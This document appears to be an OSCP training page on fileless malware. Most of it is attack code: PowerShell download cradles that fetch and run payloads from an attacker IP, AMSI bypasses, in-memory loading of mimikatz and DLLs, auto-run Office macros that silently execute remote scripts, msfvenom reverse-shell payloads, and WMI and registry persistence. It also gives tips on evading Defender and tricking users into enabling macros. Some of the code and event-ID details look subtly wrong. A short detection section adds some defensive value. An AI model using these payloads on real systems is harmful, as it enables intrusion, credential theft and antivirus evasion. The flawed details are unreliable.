Domain 3Exploit Dev & AV EvasionCORE

Fileless Malware Concepts

Guide to fileless malware concepts including memory-resident attacks, Office macro attacks, WMI-based execution, COM object abuse, registry storage, and detection challenges for OSCP students.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#fileless#memory-resident#office-macros#wmi#com-objects

Fileless Malware Concepts

What Is Fileless Malware?

Fileless malware refers to malicious code that executes entirely in memory without dropping traditional executable files to disk. This technique leverages legitimate system tools and trusted processes to carry out attacks, making detection significantly harder for signature-based AV solutions.

Key Characteristics

  • Memory-Resident: Payloads load directly into RAM via legitimate processes (e.g., powershell.exe, wscript.exe, excel.exe)
  • No Disk Artifacts: No .exe, .dll, or script files written to the file system
  • Ephemeral: Disappears on reboot — no persistent file-based forensics trail
  • Living-off-the-Land: Uses built-in Windows tools (PowerShell, WMI, certutil, bitsadmin) already present on the target
  • Hard to Detect: Bypasses file-based scanning; requires behavioral, memory, or EDR monitoring

OSCP Relevance: Fileless techniques are critical for bypassing AV on modern Windows targets. Understanding these methods is essential for post-exploitation on Windows 10/11 and server systems.


Fileless Attack Chain

A typical fileless attack follows this kill chain:

Phase Description Common Tools
1. Initial Access Phishing email with macro-enabled document, exploit, or user trickery .docm, .xlsm, .rtf
2. Download Cradle PowerShell IEX (New-Object Net.WebClient).DownloadString() fetches payload from C2 PowerShell, curl
3. AMSI Bypass Patch AMSI in memory to prevent script scanning AMSI patching, encoded commands
4. Memory Execution Payload runs in-memory via reflection, VirtualAlloc + CreateRemoteThread PowerShell, .NET
5. C2 Communication Beaconing to attacker server via DNS, HTTPS, or ICMP Custom scripts, Cobalt Strike
6. Lateral Movement WMI, PSRemoting, or psexec-style techniques without files wmic, Invoke-WMI
7. Exfiltration Data staged in memory and sent via encoded channels Base64, HTTPS POST

PowerShell Fileless Execution

PowerShell is the most common fileless execution vector. It can download, decode, and execute payloads entirely in memory.

Download Cradle (Most Common)

# Classic one-liner — downloads and executes a remote script in memory
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.8/payload.ps1")

# Alternative using Invoke-WebRequest (PowerShell 3+)
IEX (Invoke-WebRequest -Uri "http://10.10.14.8/payload.ps1" -UseBasicParsing).Content

# Using curl.exe (available on Windows 10+)
cmd.exe /c curl.exe http://10.10.14.8/payload.ps1 | powershell.exe -exec bypass -

In-Memory Payload Execution

# Download a binary payload and execute in memory (no disk write)
$base = [System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://10.10.14.8/mimikatz.exe"))
$base.EntryPoint.Invoke($null, @())

# Using .NET reflection to load and execute a DLL in memory
$assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest -Uri "http://10.10.14.8/shell.dll" -UseBasicParsing).Content)

EncodedCommand Execution

# Base64 encode a command and execute it — no script file on disk
powershell.exe -enc SQBuAHYAbwBrAGUALQBXAFAAZQByAG4AZQBAAHgA

# Generate encoded command from attacker side
# echo "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.8/shell.ps1')" | certutil -encode - encoded.txt
# Then use the base64 output with -enc flag

AMSI Bypass Techniques

# AMSI Patch Method 1 — Modify the AMSI buffer in memory
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true)

# AMSI Patch Method 2 — For PowerShell 5+
$ham = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -eq $false -and $_.Location.Split("\\").Count -gt 1 } | Select-Object -First 1
$handle = $ham.GetType().GetMethod("GetHINSTANCE").Invoke($ham, @($null))
[System.Runtime.InteropServices.Marshal]::WriteInt32($handle, 0x414D5349)

# AMSI Patch Method 3 — Using byte array manipulation
$amsiBufferSig = [Byte[]](0x74, 0x00, 0x00, 0x00, 0x74)
$amsiBufferFix = [Byte[]](0x90, 0x90, 0x90, 0x90, 0x90)
# Search for signature in loaded modules and patch with NOPs

OSCP Tip: Always test AMSI bypasses in your lab. On OSCP exams, the default download cradle may be caught by Defender. Combine with -enc or split the string to evade detection.


WMI Fileless Execution

Windows Management Instrumentation (WMI) allows remote code execution without creating files on the target.

Local WMI Execution

# Execute a command on the local machine via WMI
$process = [WMI]""
$process.Handle = "Local"
$process.Name = "Win32_Process"
$process.Create("powershell.exe -enc SQBuAHYAbwBrAGUALQBXAFAAZQByAG4AZQBAAHgA")

Remote WMI Execution (Lateral Movement)

# Execute command on a remote machine without any file transfer
$target = "10.10.10.5"
$credential = Get-Credential
$process = [WMICLASS]"\\$target\root\cimv2:Win32_Process"
$process.Create("cmd.exe /c whoami > C:\temp\out.txt", $null, $null, $pid)

# Using wmic command-line tool
wmic /node:"10.10.10.5" /user:admin /password:pass process call create "powershell.exe -enc BASE64PAYLOAD"

WMI Event Subscription (Persistence)

# Create a WMI event consumer that runs a command on system boot — no file needed
# Step 1: Create the command consumer
$consumer = [WMICLASS]"root\subscription:CommandLineEventConsumer"
$consumer.Name = "SysUpdate"
$consumer.CommandLineTemplate = "powershell.exe -enc BASE64PAYLOAD"
$consumer.Put()

# Step 2: Create the event filter
$filter = [WMICLASS]"root\subscription:__EventFilter"
$filter.Name = "SysFilter"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$filter.QueryLanguage = "WQL"
$filter.Put()

# Step 3: Bind filter to consumer
$bind = [WMICLASS]"root\subscription:__FilterToConsumerBinding"
$bind.Filter = "__EventFilter.Name=`"SysFilter`""
$bind.Consumer = "CommandLineEventConsumer.Name=`"SysUpdate`""
$bind.Put()

OSCP Tip: WMI is excellent for lateral movement when SMB/PSRemoting is blocked. Check if port 135 (RPC) is open and if you have admin credentials.


Office Macro Fileless Attacks

Office documents with macros are a primary initial access vector. The macro downloads and executes a PowerShell payload — no .exe on disk.

Basic Macro Structure

' AutoOpen runs when the document is opened (Word)
Sub AutoOpen()
    ExecutePayload
End Sub

' Document_Open is the event handler alternative (Word)
Sub Document_Open()
    ExecutePayload
End Sub

' AutoOpen for Excel
Sub Workbook_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    Dim cmd As String
    cmd = "powershell.exe -w h -nop -exec bypass -c " & _
          "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.8/Invoke-PowerShellUAC.ps1')"
    Shell cmd, vbHide
End Sub

Advanced Macro with Obfuscation

Sub Document_Open()
    Dim a As String, b As String, c As String
    a = "powershell"
    b = " -w h -nop -exec bypass -c IEX (New-Object Net.WebClient)."
    c = "DownloadString('http://10.10.14.8/payload.ps1')"
    Shell (a & b & c), vbHide
End Sub

Creating a Macro-Enabled Document (Attacker Side)

# Using python-docx or manual .docm creation
# Method 1: Use msfvenom to generate a macro
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=443 -f vba-exe > macro.txt

# Method 2: Use msfvenom to generate a full .docm
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=443 -f raw > shellcode.bin
# Then embed in a .docm using tools like docx_macro_generator

# Method 3: Manual creation
# 1. Create a .docx, save as .docm
# 2. Open VBA editor (Alt+F11)
# 3. Insert the macro above
# 4. Save and distribute

OSCP Tip: On OSCP labs, you may need to create a macro-enabled document to trick users into execution. Use msfvenom to generate the VBA payload, or write a simple macro that downloads a PowerShell script from your web server.


DLL Sideloading (Fileless Variant)

DLL sideloading abuses the Windows DLL search order. A legitimate executable is tricked into loading a malicious DLL from the same directory.

How It Works

  1. Find a legitimate .exe that loads a DLL by name (not full path)
  2. Copy the .exe to a new directory
  3. Place your malicious DLL with the same name as the expected DLL
  4. When the .exe runs, it loads your DLL instead

Practical Example

# Step 1: Identify a target — e.g., an app that loads "apphelp.dll"
# Step 2: Copy the legitimate executable
Copy-Item "C:\Program Files\SomeApp\app.exe" C:\temp\sideloader\

# Step 3: Create a malicious DLL with the expected name
# Using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=443 -f dll -o C:\temp\sideloader\apphelp.dll

# Step 4: Execute — the app loads your DLL instead
C:\temp\sideloader\app.exe

Fileless DLL Sideloading via Reflection

# Load a DLL directly into memory without touching disk
$bytes = (New-Object Net.WebClient).DownloadData("http://10.10.14.8/malicious.dll")
$assem = [System.Reflection.Assembly]::Load($bytes)
$assem.EntryPoint.Invoke($null, @())

COM Object Abuse

Component Object Model (COM) objects can be abused to execute code without dropping files.

ScriptControl (Execute VBScript/JScript in Memory)

# Execute VBScript code via COM — no file on disk
$scriptControl = New-Object -ComObject ScriptControl
$scriptControl.Language = "VBScript"
$scriptControl.AddCode("Set x = CreateObject(""WScript.Shell""): x.Run ""calc.exe"", 0, False")
$scriptControl.ExecuteStatement("x.Run ""calc.exe"", 0, False")

WScript.Shell COM Object

# Execute commands via WScript.Shell COM object
$shell = New-Object -ComObject WScript.Shell
$shell.Run("powershell.exe -enc BASE64PAYLOAD", 0, $false)

# Or via VBScript
$shell = New-Object -ComObject WScript.Shell
$exec = $shell.Exec("cmd.exe /c whoami")
$stdout = $exec.StdOut.ReadAll()
Write-Output $stdout

Shell.Application COM Object

# Browse and manipulate files via Shell.Application
$shellApp = New-Object -ComObject Shell.Application
$shellApp.Namespace(0).Self.Path  # Returns system drive

# Can be used to navigate file system and execute programs
$folder = $shellApp.Namespace("C:\Windows\System32")
$folder.Items() | Where-Object { $_.Name -eq "cmd.exe" } | ForEach-Object { $_.InvokeVerb("open") }

Registry-Based Storage

The Windows Registry can store payloads and persistence mechanisms without touching the file system.

Run Keys (Persistence)

# HKCU Run key — executes on user login
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "powershell.exe -enc BASE64PAYLOAD"

# HKLM Run key — requires admin, executes for all users
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SvcUpdate" -Value "C:\Windows\System32\cmd.exe /c powershell.exe -enc BASE64PAYLOAD"

# Verify
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

UserAssist and ShimCache (Forensic Artifacts)

# UserAssist tracks program execution — check for suspicious entries
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{...}\Count" -ErrorAction SilentlyContinue

# ShimCache (Application Compatibility Cache) — records executed files
# View via registry: HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

Storing Payloads in Registry

# Store a base64-encoded payload in the registry
$payload = "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.8/shell.ps1')"
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion" -Name "UpdateCheck" -Value $encoded

# Retrieve and execute later
$stored = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion" -Name "UpdateCheck"
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($stored.UpdateCheck))
Invoke-Expression $decoded

Detection Challenges and Methods

Why Fileless Malware Is Hard to Detect

Challenge Explanation
No File Hash No .exe on disk means no hash to compare against threat intel
Legitimate Processes Code runs inside powershell.exe, excel.exe, svchost.exe
Memory Ephemeral RAM contents vanish on reboot — no post-mortem forensics
LOLBin Abuse Uses trusted binaries already signed by Microsoft
Encoding/Obfuscation Base64, hex, or custom encoding hides the real payload

Detection Methods

Method Description Tools
AMSI Antimalware Scan Interface scans PowerShell, WMI, COM scripts in real-time Built into Windows 10+
Script Block Logging Event ID 4104 logs PowerShell script blocks before execution Windows Event Log
Sysmon Monitors process creation, network connections, registry changes Sysmon (Event IDs 1, 3, 7, 11, 12, 20, 23, 24, 25)
Memory Dumping Capture process memory and analyze for injected code Procdump, Volatility
ETW Tracing Event Tracing for Windows captures script execution details Built-in ETW providers
Network Monitoring Detect C2 beaconing, unusual DNS queries, or large data exfiltration Wireshark, Zeek
Behavioral Analysis EDR monitors parent-child process relationships and anomalous behavior CrowdStrike, Defender for Endpoint

Key Sysmon Event IDs for Fileless Detection

Event ID 1  — Process Creation (watch for powershell spawned by excel, winword, outlook)
Event ID 3  — Network Connection (detect C2 communication)
Event ID 7  — Process Tampering (DLL injection detection)
Event ID 11 — File Create (catches any file drops)
Event ID 12 — Registry Event (Run key modifications)
Event ID 20 — PowerShell Command (script block logging)
Event ID 23 — DWMI Event (WMI activity)
Event ID 24 — CWMI Event (WMI event subscription)
Event ID 25 — WMI Event (WMI filter/activity)

Practical OSCP Scenarios

Scenario 1: Web Server → Reverse Shell via PowerShell

# Attacker: Host a PowerShell reverse shell on web server
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.8/Invoke-PowerShellUAC.ps1")' > shell.ps1
python3 -m http.server 80

# On target (via browser or command line):
powershell.exe -w h -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.8/shell.ps1')"

Scenario 2: Macro-Enabled Document Phishing

# Generate a macro-enabled document with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=443 -f vba-exe > macro.txt

# Or use a simple macro that downloads a PowerShell script
# Create .docm with the macro above, host on web server
# Trick user into opening with macros enabled

Scenario 3: Lateral Movement via WMI

# From compromised box, move laterally without files
$target = "10.10.10.5"
$cred = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "password" -AsPlainText -Force))

# Execute command on remote host
Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock { whoami }

# Or use WMI directly
$wmi = [WMICLASS]"\\$target\root\cimv2:Win32_Process"
$wmi.Create("powershell.exe -enc BASE64PAYLOAD")

Scenario 4: AMSI Bypass + Encoded Command

# Combine AMSI bypass with encoded command execution
# Step 1: Bypass AMSI
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true)

# Step 2: Execute the payload
IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.8/empire.ps1")

Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                    FILELESS ATTACK QUICK REF                    │
├──────────────────┬──────────────────────────────────────────────┤
│ Technique        │ Command                                      │
├──────────────────┼──────────────────────────────────────────────┤
│ Download Cradle  │ IEX (New-Object Net.WebClient).              │
│                  │   DownloadString("http://ATTACKER/payload")  │
├──────────────────┼──────────────────────────────────────────────┤
│ EncodedCommand   │ powershell.exe -enc BASE64STRING             │
├──────────────────┼──────────────────────────────────────────────┤
│ AMSI Bypass      │ [Ref].Assembly.GetType(...)                   │
│                  │   .GetField("amsiInitFailed",...)             │
│                  │   .SetValue($null, $true)                    │
├──────────────────┼──────────────────────────────────────────────┤
│ WMI Remote Exec  │ wmic /node:TARGET process call create CMD    │
├──────────────────┼──────────────────────────────────────────────┤
│ COM ScriptCtrl   │ $sc = New-Object -ComObject ScriptControl    │
│                  │ $sc.ExecuteStatement("CODE")                  │
├──────────────────┼──────────────────────────────────────────────┤
│ Registry Run     │ Set-ItemProperty -Path "HKCU:\...\Run"       │
│                  │   -Name "Name" -Value "CMD"                  │
├──────────────────┼──────────────────────────────────────────────┤
│ DLL In-Memory    │ [Reflection.Assembly]::Load($bytes)          │
└──────────────────┴──────────────────────────────────────────────┘

Exam Tips

  1. Always try PowerShell first — it is the most reliable fileless vector on Windows targets
  2. If Defender catches your payload, try: encoded commands (-enc), AMSI bypass, or splitting the download cradle
  3. Office macros require user interaction — the victim must enable macros. Use social engineering or host the document on a convincing URL
  4. WMI requires admin credentials on the target — verify access before attempting
  5. Combine techniques — use a macro to download a PowerShell script that bypasses AMSI and executes a meterpreter payload
  6. Check for Sysmon — if installed, your activity will be logged. Consider timing and noise reduction
  7. Use certutil for decoding — certutil -decode can help with base64 payloads on the target

References


Last updated: 2026-09-01 | Domain: AV Evasion | Difficulty: Core